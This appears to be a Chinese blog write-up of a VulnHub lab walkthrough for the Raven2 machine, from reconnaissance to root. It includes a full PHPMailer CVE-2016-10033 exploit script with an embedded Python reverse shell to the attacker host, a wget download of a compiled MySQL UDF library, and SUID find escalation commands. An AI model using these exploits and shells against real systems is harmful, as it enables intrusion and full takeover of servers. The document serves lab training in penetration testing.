vulnhub靶机渗透RAVEN2
资产编号 资产分类 资产名称 资产规格 访问地址 备注/问题
RAVEN1 主机系统 Ubuntu操作系统 Type:Linux
IP:192.168.101.134
Port:22、80、111
192.168.101.134 敏感目录泄露,PHPMailer低版本参数注入漏洞,UDF+find命令提权

靶机flag:

==flag1{b9bbcb33e11b80be759c4e844862482d}==

==flag2{6a8ed560f0b5358ecf844108048eb337}==

==flag3{a0f568aa9de277887f37730d71520d9b}==

==flag4{df2bc5e951d91581467bb9a2a8ff4425}==

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

kali攻击机ip为192.168.101.128

RAVEN 2靶机

(1)信息收集

  • 通过netdiscover进行二层发现,发现地址为192.168.101.134主机
1
netdiscover -r 192.168.101.0/24

  • 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1
ping 192.168.101.134

  • 通过masscan四层发现目标主机开放端口
1
masscan -p0-65535 --rate=10000 192.168.101.134

目标主机开启了111服务端口,22ssh端口,49505端口

  • 扫描目标端口服务

    1
    nmap -A -p- -sC -T4 -sS -P0 192.168.101.134 -oN nmap.A

  • 目标开启了以下端口及服务:
    • 22端口,服务为OpenSSH 6.7p1;且系统为Debian 5+deb8u4
    • 80端口,服务为Apacha 2.4.10
    • 111端口,rpcbind服务

使用Nmap中漏洞分类NSE脚本对目标进行探测

1
nmap -sV --script vuln 192.168.101.134

同样存在openssh的用户名枚举和栈溢出的SSV-90447可用

在exploit-db上搜索ssh对应版本的漏洞,或者searchspolit,目标服务器的openssh有用户名枚举漏洞

seebug上看到目标主机存在信息泄露和缓冲区溢出漏洞,还有2010年的拒绝服务漏洞(因该漏洞等级较低,实施拒绝服务也较困难所以无视)

==192.168.101.134主机的22端口存在信息泄露和缓冲区溢出漏洞,seebug还有searchspolit都能找到对应的poc,该轮信息扫描可以用来进行下一步的ssh爆破或溢出漏洞攻击。该信息泄露漏洞定义为中危==

访问其web服务:

在其service.html源码里找到flag1:

==flag1{b9bbcb33e11b80be759c4e844862482d}==

  • 目录扫描:
1
dirb 192.168.101.135

目标网站存在vendor目录,访问一下,发现存在敏感目录遍历

vendor目录一般是指在项目中用于存放第三方库、框架、插件等外部依赖的目录。

还有wordpress目录,该站应该是一个wordpress的框架

  • wappalzer分析:

在目录可以看到使用了PHPMailer(功能齐全的PHP电子邮件创建和传输类)

VERSION目录找到了PHPMailer版本号为5.2.16

(2)PHPMailer漏洞攻击

查找对应的漏洞:

1
searchsploit PHPMailer

PHPMaileer<5.2.18可以进行远程代码执行,使用python版对应的exp:

  • 把exp复制到当前目录:
1
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
  • 攻击机kali开启nc监听,端口为4444
1
nc -lvnp 4444
  • 修改exp,把target改为目标地址,backdoor为写的shell地址,修改反弹shell地址为本机ip,修改后如下:

之所以加contact.php,可以看一下该漏洞成因,是因为输入的邮件地址能包含引号括起来的空格,造成参数注入。所以要找接收邮件参数的页面。就是contact.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.101.134:80/contact.php'#存在漏洞的目标
backdoor = '/godown.php'#后门位置

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.101.128\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'#connect到kali ip
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/godown.php server\" @protonmail.com',
'message': 'Pwned'}#OQueueDirectory同步改为shell地址

m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)

提一些其他的知识:vim全选复制:vVGy

v进入普通可视模式,V进入行可视模式,G把光标易懂到最后一行,y复制选中文本

执行后显示如下结果:

现在访问http://192.168.101.134/godown.php(你所写shell位置),弹回shell

shell为www-data的权限:

目标机有python环境

  • 用python pty获取完整交互式shell
1
python -c 'import pty; pty.spawn("/bin/bash")'

查找flag2,flag3:

1
find / -name flag* 2>/dev/null

加上2>/dev/null把错误输出丢弃,不然会出现暴多Permission denied的无权限搜索目录信息。

flag2:==flag2{6a8ed560f0b5358ecf844108048eb337}==

flag3:网页上查看

==flag3{a0f568aa9de277887f37730d71520d9b}==

(3)Mysql UDF提权

wordpress下有wordpress的配置文件wp-config.php

数据库账号root,密码R@v3nSecurity

登录mysql:

1
mysql -u root -pR@v3nSecurity

且Server version(Mysql)版本为5.5.60。可以用udf提权

udf提权:UDF提权前提是知道数据库root密码

  • 一般来说mysql>=5.1.4 上传udf到mysql\lib\plugin
  • 如果mysql<5.1.4 别想了,遇不到

查找对应的exp:

1
searchsploit mysql

把exp复制到当前路径,并gcc编译

1
2
3
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -c 1518.c
gcc -g -shared -o raptor_udf.so 1518.o -lc

gcc各个参数说明:

-g 生成调试信息

-shared 生成动态链接库(.so)而不是可执行文件。用以在各个程序共享

-o 输出文件 1518.o输入文件

-lc 连接c标准库,提供标准C库函数支持

在kali上起一个web服务,在靶机上下载so

1
2
3
python3 -m http.server 8888
或者
python2 -m SimpleHTTPServer 8888

靶机执行:

1
wget http://192.168.101.128:8888/raptor_udf.so

进入数据库mysql创建数据表foo,向表中插入二进制数据,利用dumpfile函数把文件以root权限写到plugin目录,新建返回类型为整型的函数do_system,别名soname(注意修改load_file的so路径)

1
2
3
4
5
6
7
use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf1.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf.so';

  • find提权

通过do_system函数给find目录所有者的suid权限

1
select do_system('chmod u+s /usr/bin/find');

1
2
touch finn
find finn -exec "/bin/sh" \;

完成!看到shell标识变了

uid为root

在root下找到最后一个flag:==flag4{df2bc5e951d91581467bb9a2a8ff4425}==

上一篇:
vulnhub靶机渗透CH4INRULZ_v1.0.1
下一篇:
vulnhub靶机渗透RAVEN1